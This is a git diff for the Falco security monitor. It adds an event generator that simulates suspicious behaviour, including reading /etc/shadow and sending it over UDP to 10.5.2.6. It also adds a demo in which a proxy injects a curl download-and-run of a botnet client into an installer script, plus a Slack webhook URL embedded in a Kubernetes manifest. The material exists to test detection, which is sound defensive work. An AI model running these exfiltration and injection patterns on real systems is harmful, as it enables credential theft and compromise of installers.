-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7 by symlinking
-# it to 4.9
+# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
+# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
+# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
+# by symlinking it to 4.9
 
 RUN rm -rf /usr/bin/gcc \
  && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \

docker/dev/docker-entrypoint.sh

@@ -1,13 +1,17 @@
 #!/bin/bash
 #set -e
 
-echo "* Setting up /usr/src links from host"
+# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
 
-for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-do 
-	ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-done
+if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"
 
-/usr/bin/sysdig-probe-loader
+    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
+    do
+        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
+    done
+
+    /usr/bin/falco-probe-loader
+fi
 
 exec "$@"

docker/event-generator/Dockerfile

@@ -0,0 +1,6 @@
+FROM alpine:latest
+RUN apk add --no-cache bash g++
+COPY ./event_generator.cpp /usr/local/bin
+RUN mkdir -p /var/lib/rpm
+RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
+CMD ["/usr/local/bin/event_generator"]

docker/event-generator/Makefile

@@ -0,0 +1,2 @@
+image:
+	docker build -t sysdig/falco-event-generator:latest .

docker/event-generator/event_generator.cpp

@@ -0,0 +1,516 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <cstdio>
+#include <utility>
+#include <map>
+#include <set>
+#include <string>
+#include <fstream>
+#include <sstream>
+#include <cstring>
+#include <cstdlib>
+#include <unistd.h>
+#include <getopt.h>
+#include <sys/errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <pwd.h>
+#include <sys/socket.h>
+#include <arpa/inet.h>
+
+using namespace std;
+
+void usage(char *program)
+{
+	printf("Usage %s [options]\n\n", program);
+	printf("Options:\n");
+	printf("     -h/--help: show this help\n");
+	printf("     -a/--action: actions to perform. Can be one of the following:\n");
+	printf("          write_binary_dir                           Write to files below /bin\n");
+	printf("          write_etc                                  Write to files below /etc\n");
+	printf("          read_sensitive_file                        Read a sensitive file\n");
+	printf("          read_sensitive_file_after_startup          As a trusted program, wait a while,\n");
+	printf("                                                     then read a sensitive file\n");
+	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
+	printf("          spawn_shell                                Run a shell (bash)\n");
+	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
+	printf("                                                     another program\n");
+	printf("          modify_binary_dirs                         Modify a file below /bin\n");
+	printf("          mkdir_binary_dirs                          Create a directory below /bin\n");
+	printf("          change_thread_namespace                    Change namespace\n");
+	printf("          system_user_interactive                    Change to a system user and try to\n");
+	printf("                                                     run an interactive command\n");
+	printf("          network_activity                           Open network connections\n");
+	printf("                                                     (used by system_procs_network_activity below)\n");
+	printf("          system_procs_network_activity              Open network connections as a program\n");
+	printf("                                                     that should not perform network actions\n");
+	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
+	printf("          create_files_below_dev                     Create files below /dev\n");
+	printf("          exec_ls                                    execve() the program ls\n");
+	printf("                                                     (used by user_mgmt_binaries below)\n");
+	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
+	printf("                                                     rules related to user management programs\n");
+	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
+	printf("                                                     specific address and port\n");
+	printf("          all                                        All of the above\n");
+	printf("       The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
+	printf("           as a colon-separated list\n");
+	printf("       if specified, -a/--action overrides any environment variables\n");
+	printf("     -i/--interval: Number of seconds between actions\n");
+	printf("     -o/--once: Perform actions once and exit\n");
+}
+
+void open_file(const char *filename, const char *flags)
+{
+	FILE *f = fopen(filename, flags);
+	if(f)
+	{
+		fclose(f);
+	}
+	else
+	{
+		fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
+	}
+
+}
+
+void exfiltration()
+{
+	ifstream shadow;
+
+	shadow.open("/etc/shadow");
+
+	printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
+
+	if(!shadow.is_open())
+	{
+		fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
+		return;
+	}
+
+	string line;
+	string shadow_contents;
+	while (getline(shadow, line))
+	{
+		shadow_contents += line;
+		shadow_contents += "\n";
+	}
+
+	int rc;
+	ssize_t sent;
+	int sock = socket(PF_INET, SOCK_DGRAM, 0);
+	struct sockaddr_in dest;
+
+	dest.sin_family = AF_INET;
+	dest.sin_port = htons(8197);
+	inet_aton("10.5.2.6", &(dest.sin_addr));
+
+	if((rc = connect(sock, (struct sockaddr *) &dest, sizeof(dest))) != 0)
+	{
+		fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
+		return;
+	}
+
+	if ((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
+	{
+		fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
+		return;
+	}
+
+	close(sock);
+}
+
+void touch(const char *filename)
+{
+	open_file(filename, "w");
+}
+
+void read(const char *filename)
+{
+	open_file(filename, "r");
+}
+
+uid_t become_user(const char *user)
+{
+	struct passwd *pw;
+	pw = getpwnam(user);
+	if(pw == NULL)
+	{
+		fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
+		exit(1);
+	}
+
+	int rc = setuid(pw->pw_uid);
+
+	if(rc != 0)
+	{
+		fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
+		exit(1);
+	}
+}
+
+void spawn(const char *cmd, char **argv, char **env)
+{
+	pid_t child;
+
+	// Fork a process, that way proc.duration is reset
+	if ((child = fork()) == 0)
+	{
+		execve(cmd, argv, env);
+		fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void respawn(const char *cmd, const char *action, const char *interval)
+{
+	char *argv[] = {(char *) cmd,
+			(char *) "--action", (char *) action,
+			(char *) "--interval", (char *) interval,
+			(char *) "--once", NULL};
+
+	char *env[] = {NULL};
+
+	spawn(cmd, argv, env);
+}
+
+void write_binary_dir() {
+	printf("Writing to /bin/created-by-event-generator-sh...\n");
+	touch("/bin/created-by-event-generator-sh");
+}
+
+void write_etc() {
+	printf("Writing to /etc/created-by-event-generator-sh...\n");
+	touch("/etc/created-by-event-generator-sh");
+}
+
+void read_sensitive_file() {
+	printf("Reading /etc/shadow...\n");
+	read("/etc/shadow");
+}
+
+void read_sensitive_file_after_startup() {
+	printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
+	respawn("./httpd", "read_sensitive_file", "6");
+}
+
+void write_rpm_database() {
+	printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
+	touch("/var/lib/rpm/created-by-event-generator-sh");
+}
+
+void spawn_shell() {
+	printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
+	int rc;
+
+	if ((rc = system("ls > /dev/null")) != 0)
+	{
+		fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
+	}
+}
+
+void db_program_spawn_process() {
+	printf("Becoming the program \"mysql\" and then spawning a shell\n");
+	respawn("./mysqld", "spawn_shell", "0");
+}
+
+void modify_binary_dirs() {
+	printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
+
+	if (rename("/bin/true", "/bin/true.event-generator-sh") != 0)
+	{
+		fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
+	}
+	else
+	{
+		if (rename("/bin/true.event-generator-sh", "/bin/true") != 0)
+		{
+			fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
+		}
+	}
+}
+
+void mkdir_binary_dirs() {
+	printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
+	if (mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
+	{
+		fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
+	}
+}
+
+void change_thread_namespace() {
+	printf("Calling setns() to change namespaces...\n");
+	printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
+	// It doesn't matter that the arguments to setns are
+	// bogus. It's the attempt to call it that will trigger the
+	// rule.
+	setns(0, 0);
+}
+
+void system_user_interactive() {
+	pid_t child;
+
+	printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
+	// Fork a child and do everything in the child.
+	if ((child = fork()) == 0)
+	{
+		become_user("daemon");
+		char *argv[] = {(char *)"/bin/login", NULL};
+		char *env[] = {NULL};
+		spawn("/bin/login", argv, env);
+		exit(0);
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void network_activity() {
+	printf("Opening a listening socket on port 8192...\n");
+	int rc;
+	int sock = socket(PF_INET, SOCK_DGRAM, 0);
+	struct sockaddr_in localhost;
+
+	localhost.sin_family = AF_INET;
+	localhost.sin_port = htons(8192);
+	inet_aton("127.0.0.1", &(localhost.sin_addr));
+
+	if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
+	{
+		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
+		return;
+	}
+
+	listen(sock, 1);
+
+	close(sock);
+}
+
+void system_procs_network_activity() {
+	printf("Becoming the program \"sha1sum\" and then performing network activity\n");
+	respawn("./sha1sum", "network_activity", "0");
+}
+
+void non_sudo_setuid() {
+	pid_t child;
+
+	printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
+
+	// Fork a child and do everything in the child.
+	if ((child = fork()) == 0)
+	{
+		// First setuid to something non-root. Then try to setuid back to root.
+		become_user("daemon");
+		become_user("root");
+		exit(0);
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void create_files_below_dev() {
+	printf("Creating /dev/created-by-event-generator-sh...\n");
+	touch("/dev/created-by-event-generator-sh");
+}
+
+void exec_ls()
+{
+	char *argv[] = {(char *)"/bin/ls", NULL};
+	char *env[] = {NULL};
+	spawn("/bin/ls", argv, env);
+}
+
+void user_mgmt_binaries() {
+	printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
+	printf("NOTE: does not result in a falco notification in containers\n");
+	respawn("./vipw", "exec_ls", "0");
+}
+
+typedef void (*action_t)();
+
+map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
+					 {"write_etc", write_etc},
+					 {"read_sensitive_file", read_sensitive_file},
+					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
+					 {"write_rpm_database", write_rpm_database},
+					 {"spawn_shell", spawn_shell},
+					 {"db_program_spawn_process", db_program_spawn_process},
+					 {"modify_binary_dirs", modify_binary_dirs},
+					 {"mkdir_binary_dirs", mkdir_binary_dirs},
+					 {"change_thread_namespace", change_thread_namespace},
+					 {"system_user_interactive", system_user_interactive},
+					 {"network_activity", network_activity},
+					 {"system_procs_network_activity", system_procs_network_activity},
+					 {"non_sudo_setuid", non_sudo_setuid},
+					 {"create_files_below_dev", create_files_below_dev},
+					 {"exec_ls", exec_ls},
+					 {"user_mgmt_binaries", user_mgmt_binaries},
+					 {"exfiltration", exfiltration}};
+
+// Some actions don't directly result in suspicious behavior. These
+// actions are excluded from the ones run with -a all.
+set<string> exclude_from_all_actions = {"exec_ls", "network_activity"};
+
+void create_symlinks(const char *program)
+{
+	int rc;
+
+	// Some actions depend on this program being re-run as
+	// different program names like 'mysqld', 'httpd', etc. This
+	// sets up all the required symlinks.
+	const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
+
+	for (unsigned int i=0; progs[i] != NULL; i++)
+	{
+		unlink(progs[i]);
+
+		if ((rc = symlink(program, progs[i])) != 0)
+		{
+			fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
+		}
+	}
+}
+
+void run_actions(map<string, action_t> &actions, int interval, bool once)
+{
+	while (true)
+	{
+		for (auto action : actions)
+		{
+			printf("***Action %s\n", action.first.c_str());
+			action.second();
+			sleep(interval);
+		}
+		if(once)
+		{
+			break;
+		}
+	}
+}
+
+int main(int argc, char **argv)
+{
+	map<string, action_t> actions;
+	int op;
+	int long_index = 0;
+	int interval = 1;
+	bool once = false;
+	map<string, action_t>::iterator it;
+
+	static struct option long_options[] =
+	{
+		{"help", no_argument, 0, 'h' },
+		{"action", required_argument, 0, 'a' },
+		{"interval", required_argument, 0, 'i' },
+		{"once", no_argument, 0, 'o' },
+
+		{0, 0}
+	};
+
+	//
+	// Parse the args
+	//
+	while((op = getopt_long(argc, argv,
+				"ha:i:l:o",
+				long_options, &long_index)) != -1)
+	{
+		switch(op)
+		{
+		case 'h':
+			usage(argv[0]);
+			exit(1);
+		case 'a':
+			// "all" is already implied
+			if (strcmp(optarg, "all") != 0)
+			{
+				if((it = defined_actions.find(optarg)) == defined_actions.end())
+				{
+					fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
+					exit(1);
+				}
+				actions.insert(*it);
+			}
+			break;
+		case 'i':
+			interval = atoi(optarg);
+			break;
+		case 'o':
+			once = true;
+			break;
+		default:
+			usage(argv[0]);
+			exit(1);
+		}
+	}
+
+	//
+        // Also look for actions in the environment. If specified, they
+        // override any specified on the command line.
+	//
+	char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
+
+	if(env_action)
+	{
+		actions.clear();
+
+		string envs(env_action);
+		istringstream ss(envs);
+		string item;
+		while (std::getline(ss, item, ':'))
+		{
+			if((it = defined_actions.find(item)) == defined_actions.end())
+			{
+				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
+				exit(1);
+			}
+			actions.insert(*it);
+		}
+	}
+
+	if(actions.size() == 0)
+	{
+		for(auto &act : defined_actions)
+		{
+			if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
+			{
+				actions.insert(act);
+			}
+		}
+	}
+
+	setvbuf(stdout, NULL, _IONBF, 0);
+	setvbuf(stderr, NULL, _IONBF, 0);
+	// Only create symlinks when running as the program event_generator
+	if (strstr(argv[0], "generator"))
+	{
+		create_symlinks(argv[0]);
+	}
+
+	run_actions(actions, interval, once);
+}

docker/local/Dockerfile

@@ -0,0 +1,50 @@
+FROM debian:unstable
+
+MAINTAINER Sysdig <support@sysdig.com>
+
+ENV FALCO_VERSION 0.1.1dev
+
+LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
+
+ENV SYSDIG_HOST_ROOT /host
+
+ENV HOME /root
+
+RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
+
+ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
+
+RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
+ && apt-get update \
+ && apt-get install -y --no-install-recommends \
+	bash-completion \
+	curl \
+	jq \
+	gnupg2 \
+	ca-certificates \
+	gcc \
+	gcc-5 \
+	gcc-4.9 \
+	dkms && rm -rf /var/lib/apt/lists/*
+
+# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
+# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
+# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
+# by symlinking it to 4.9
+
+RUN rm -rf /usr/bin/gcc \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
+
+RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
+
+ADD falco-${FALCO_VERSION}-x86_64.deb /
+RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
+
+COPY ./docker-entrypoint.sh /
+
+ENTRYPOINT ["/docker-entrypoint.sh"]
+
+CMD ["/usr/bin/falco"]

docker/local/docker-entrypoint.sh

@@ -0,0 +1,17 @@
+#!/bin/bash
+#set -e
+
+# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
+
+if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"
+
+    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
+    do
+        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
+    done
+
+    /usr/bin/falco-probe-loader
+fi
+
+exec "$@"

docker/stable/Dockerfile

@@ -14,18 +14,22 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN apt-get update \
+RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
+ && apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
+	jq \
 	ca-certificates \
+	gnupg2 \
 	gcc \
+	gcc-5 \
 	gcc-4.9 && rm -rf /var/lib/apt/lists/*
 
-# Terribly terrible hacks: since our base Debian image ships with GCC 5.0 which breaks older kernels,
-# revert the default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7 by symlinking
-# it to 4.9
+# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
+# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
+# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
+# by symlinking it to 4.9
 
 RUN rm -rf /usr/bin/gcc \
  && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \

docker/stable/docker-entrypoint.sh

@@ -1,13 +1,17 @@
 #!/bin/bash
 #set -e
 
-echo "* Setting up /usr/src links from host"
+# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
 
-for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-do 
-	ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-done
+if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"
 
-/usr/bin/sysdig-probe-loader
+    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
+    do
+        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
+    done
+
+    /usr/bin/falco-probe-loader
+fi
 
 exec "$@"

examples/k8s-using-daemonset/README.md

@@ -0,0 +1,5 @@
+# Example K8s Services for Falco
+
+The yaml file in this directory installs the following:
+ - Open Source Falco, as a DaemonSet. Falco is configured to communicate with the K8s API server via its service account, and changes its output to be K8s-friendly. It also sends to a slack webhook for the `#demo-falco-alerts` channel on our [public slack](https://sysdig.slack.com/messages/demo-falco-alerts/).
+ - The [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events), as a deployment that ensures it runs on exactly 1 node.

examples/k8s-using-daemonset/falco-daemonset.yaml

@@ -0,0 +1,59 @@
+apiVersion: extensions/v1beta1
+kind: DaemonSet
+metadata:
+  name: falco
+  labels:
+    name: falco-daemonset
+    app: demo
+spec:
+  template:
+    metadata:
+      labels:
+        name: falco
+        app: demo
+        role: security
+    spec:
+      containers:
+        - name: falco
+          image: sysdig/falco:latest
+          securityContext:
+            privileged: true
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/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"]
+          volumeMounts:
+            - mountPath: /host/var/run/docker.sock
+              name: docker-socket
+              readOnly: true
+            - mountPath: /host/dev
+              name: dev-fs
+              readOnly: true
+            - mountPath: /host/proc
+              name: proc-fs
+              readOnly: true
+            - mountPath: /host/boot
+              name: boot-fs
+              readOnly: true
+            - mountPath: /host/lib/modules
+              name: lib-modules
+              readOnly: true
+            - mountPath: /host/usr
+              name: usr-fs
+              readOnly: true
+      volumes:
+        - name: docker-socket
+          hostPath:
+            path: /var/run/docker.sock
+        - name: dev-fs
+          hostPath:
+            path: /dev
+        - name: proc-fs
+          hostPath:
+            path: /proc
+        - name: boot-fs
+          hostPath:
+            path: /boot
+        - name: lib-modules
+          hostPath:
+            path: /lib/modules
+        - name: usr-fs
+          hostPath:
+            path: /usr

examples/k8s-using-daemonset/falco-event-generator-deployment.yaml

@@ -0,0 +1,17 @@
+apiVersion: extensions/v1beta1
+kind: Deployment
+metadata:
+  name: falco-event-generator-deployment
+  labels:
+    name: falco-event-generator-deployment
+    app: demo
+spec:
+  replicas: 1
+  template:
+    metadata:
+      labels:
+        app: falco-event-generator
+    spec:
+      containers:
+      - name: falco-event-generator
+        image: sysdig/falco-event-generator:latest

examples/mitm-sh-installer/README.md

@@ -0,0 +1,78 @@
+#Demo of falco with man-in-the-middle attacks on installation scripts
+
+For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
+
+## Demo architecture
+
+### Initial setup
+
+Make sure no prior `botnet_client.py` processes are lying around.
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
+* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
+* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
+* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
+* falco: will detect the activities of botnet_client.py.
+
+### Download `install-software.sh`, see botnet client running
+
+Run the following to fetch and execute the installation script,
+which also installs the botnet client:
+
+```
+$ curl http://localhost/install-software.sh | bash
+```
+
+You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
+
+Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
+
+```
+$ ps auxww  | grep python
+...
+root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
+
+$ telnet localhost 1234
+Trying ::1...
+Trying 127.0.0.1...
+Connected to localhost.
+Escape character is '^]'.
+```
+
+You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
+
+```
+attacker_botnet_master | Trying to contact compromised machine...
+attacker_botnet_master | Waiting for botnet command and control commands...
+attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
+attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
+```
+
+At this point, kill the botnet_client.py process to clean things up.
+
+### Run installation script again using `fbash`, note falco warnings.
+
+If you run the installation script again:
+
+```
+curl http://localhost/install-software.sh | ./fbash
+```
+
+In the docker-compose output, you'll see the following falco warnings:
+
+```
+falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
+falco                  | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
+falco                  | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
+falco                  | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+falco                  | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+```

examples/mitm-sh-installer/botnet_master.sh

@@ -0,0 +1,7 @@
+#!/bin/sh
+
+while true; do
+    echo "Trying to contact compromised machine..."
+    echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
+    sleep 5
+done

examples/mitm-sh-installer/demo.yml

@@ -0,0 +1,51 @@
+# Owned by software vendor, serving install-software.sh.
+apache:
+  container_name: apache
+  image: httpd:2.4
+  volumes:
+        - ${PWD}/web_root:/usr/local/apache2/htdocs
+
+# Owned by software vendor, compromised by attacker.
+nginx:
+  container_name: mitm_nginx
+  image: nginx:latest
+  links:
+    - apache
+  ports:
+      - "80:80"
+  volumes:
+        - ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
+
+# Owned by attacker.
+evil_apache:
+  container_name: evil_apache
+  image: httpd:2.4
+  volumes:
+        - ${PWD}/evil_web_root:/usr/local/apache2/htdocs
+  ports:
+      - "9090:80"
+
+# Owned by attacker, constantly trying to contact client.
+attacker_botnet_master:
+  container_name: attacker_botnet_master
+  image: alpine:latest
+  net: host
+  volumes:
+    - ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
+  command:
+    - /tmp/botnet_master.sh
+
+# Owned by client, detects attack by attacker
+falco:
+  container_name: falco
+  image: sysdig/falco:latest
+  privileged: true
+  volumes:
+    - /var/run/docker.sock:/host/var/run/docker.sock
+    - /dev:/host/dev
+    - /proc:/host/proc:ro
+    - /boot:/host/boot:ro
+    - /lib/modules:/host/lib/modules:ro
+    - /usr:/host/usr:ro
+    - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
+  tty: true

examples/mitm-sh-installer/evil_web_root/botnet_client.py

@@ -0,0 +1,18 @@
+import socket;
+import signal;
+import os;
+
+os.close(0);
+os.close(1);
+os.close(2);
+
+signal.signal(signal.SIGINT,signal.SIG_IGN);
+serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+serversocket.bind(('0.0.0.0', 1234))
+serversocket.listen(5);
+while 1:
+    (clientsocket, address) = serversocket.accept();
+    clientsocket.send('Waiting for botnet command and control commands...\n');
+    command = clientsocket.recv(1024)
+    clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
+    clientsocket.close()

examples/mitm-sh-installer/fbash

@@ -0,0 +1,15 @@
+#!/bin/bash
+
+SID=`ps --no-heading -o sess --pid $$`
+
+if [ $SID -ne $$ ]; then
+    # Not currently a session leader? Run a copy of ourself in a new
+    # session, with copies of stdin/stdout/stderr.
+    setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
+    FBASH=$!
+    trap "kill $FBASH; exit" SIGINT SIGTERM
+    wait $FBASH
+else
+    # Just evaluate the commands (from stdin)
+    source /dev/stdin
+fi

examples/mitm-sh-installer/nginx.conf

@@ -0,0 +1,12 @@
+http {
+    server {
+        location / {
+            sub_filter_types '*';
+            sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
+            sub_filter_once off;
+            proxy_pass http://apache:80;
+        }
+    }
+}
+events {
+}

examples/mitm-sh-installer/web_root/install-software.sh

@@ -0,0 +1,156 @@
+#!/bin/bash
+#
+# Copyright (C) 2013-2014 My Company inc.
+#
+# This file is part of my-software
+#
+# my-software is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 as
+# published by the Free Software Foundation.
+#
+# my-software is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with my-software.  If not, see <http://www.gnu.org/licenses/>.
+#
+set -e
+
+function install_rpm {
+	if ! hash curl > /dev/null 2>&1; then
+		echo "* Installing curl"
+		yum -q -y install curl
+	fi
+
+	echo "*** Installing my-software public key"
+	# A rpm --import command would normally be here
+
+	echo "*** Installing my-software repository"
+	# A curl path-to.repo <some url> would normally be here
+
+	echo "*** Installing my-software"
+	# A yum -q -y install my-software command would normally be here
+
+	echo "*** my-software Installed!"
+}
+
+function install_deb {
+	export DEBIAN_FRONTEND=noninteractive
+
+	if ! hash curl > /dev/null 2>&1; then
+		echo "* Installing curl"
+		apt-get -qq -y install curl < /dev/null
+	fi
+
+	echo "*** Installing my-software public key"
+	# A curl <url> | apt-key add - command would normally be here
+
+	echo "*** Installing my-software repository"
+	# A curl path-to.list <some url> would normally be here
+
+	echo "*** Installing my-software"
+	# An apt-get -qq -y install my-software command would normally be here
+
+	echo "*** my-software Installed!"
+}
+
+function unsupported {
+	echo 'Unsupported operating system. Please consider writing to the mailing list at'
+	echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
+	echo 'installation.'
+	exit 1
+}
+
+if [ $(id -u) != 0 ]; then
+	echo "Installer must be run as root (or with sudo)."
+#	exit 1
+fi
